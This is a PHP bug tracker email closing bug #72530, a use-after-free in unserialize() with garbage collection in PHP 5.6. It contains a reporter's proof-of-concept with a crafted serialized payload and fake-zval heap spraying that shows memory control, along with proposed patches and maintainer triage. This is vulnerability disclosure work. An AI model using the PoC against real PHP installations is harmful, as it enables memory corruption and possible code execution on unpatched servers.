Bug #72530 [Opn->Csd]: Use After Free in unserialize() with GC
| From: | nikic@php.net | Date: | Sun, 01 Jan 2017 18:47:23 +0000 |
| Subject: | Bug #72530 [Opn->Csd]: Use After Free in unserialize() with GC | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-206289@lists.php.net to get a copy of this message | ||
Edit report at https://bugs.php.net/bug.php?id=72530&edit=1
ID: 72530
Updated by: nikic@php.net
Reported by: taoguangchen at icloud dot com
Summary: Use After Free in unserialize() with GC
-Status: Open
+Status: Closed
Type: Bug
Package: *General Issues
PHP Version: 5.6.23
-Assigned To:
+Assigned To: nikic
Block user comment: N
Private report: N
Previous Comments:
------------------------------------------------------------------------
[2017-01-01 18:47:11] nikic@php.net
In PHP 7.0+ this results in:
array(1) {
[0]=>
object(ryat)#1 (2) {
["ryat"]=>
array(1) {
[0]=>
*RECURSION*
}
["chtg"]=>
&array(1) {
[0]=>
*RECURSION*
}
}
}
I believe this output is correct, as the following code (to which the unserialize should roughly
correspond) has the same output:
$a = [];
$a[0] = 1;
$o = new ryat;
$o->ryat =& $a[1];
$o->chtg = 2;
$a[1] = [$o];
unset($a[1]);
$a[1] = 3;
$a[2] =& $o->chtg;
unset($o);
gc_collect_cycles();
var_dump($a[2]);
This also shows that the issue is not related to unserialize(), but rather to GC with certain
destructors. The GC problem has been fixed in 7.0 (and won't be fixed in 5.6), so closing here.
------------------------------------------------------------------------
[2016-07-02 08:19:15] stas@php.net
I don't think this qualifies as security issue - since you need specially crafter destructor.
------------------------------------------------------------------------
[2016-07-02 01:09:05] taoguangchen at icloud dot com
update fix, and fix other bugs:
```
var_push_dtor_no_addref(var_hash, rval);
}
*rval = *rval_ref;
+ Z_ADDREF_PP(rval_ref);
+ if (Z_REFCOUNT_PP(rval) > 1) {
+ SEPARATE_ZVAL_IF_NOT_REF(rval);
+ }
Z_ADDREF_PP(rval);
Z_SET_ISREF_PP(rval);
```
------------------------------------------------------------------------
[2016-07-01 16:26:35] taoguangchen at icloud dot com
Description:
------------
Use After Free in unserialize() with GC
PoC:
```
$poc =
'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($out[2]);
class ryat
{
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
}
}
function ptr2str($ptr)
{
$out = '';
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
```
Expected result:
```
int(2)
```
Actual result:
```
array(1) {
[0]=>
int(1122334455)
}
```
Fix (This fix may break some test scripts):
```
"R:" iv ";" {
...
*rval = *rval_ref;
+ if (Z_REFCOUNT_PP(rval_ref) == 1) {
+ Z_ADDREF_PP(rval_ref);
+ }
Z_ADDREF_PP(rval);
Z_SET_ISREF_PP(rval);
```
------------------------------------------------------------------------
--
Edit this bug report at https://bugs.php.net/bug.php?id=72530&edit=1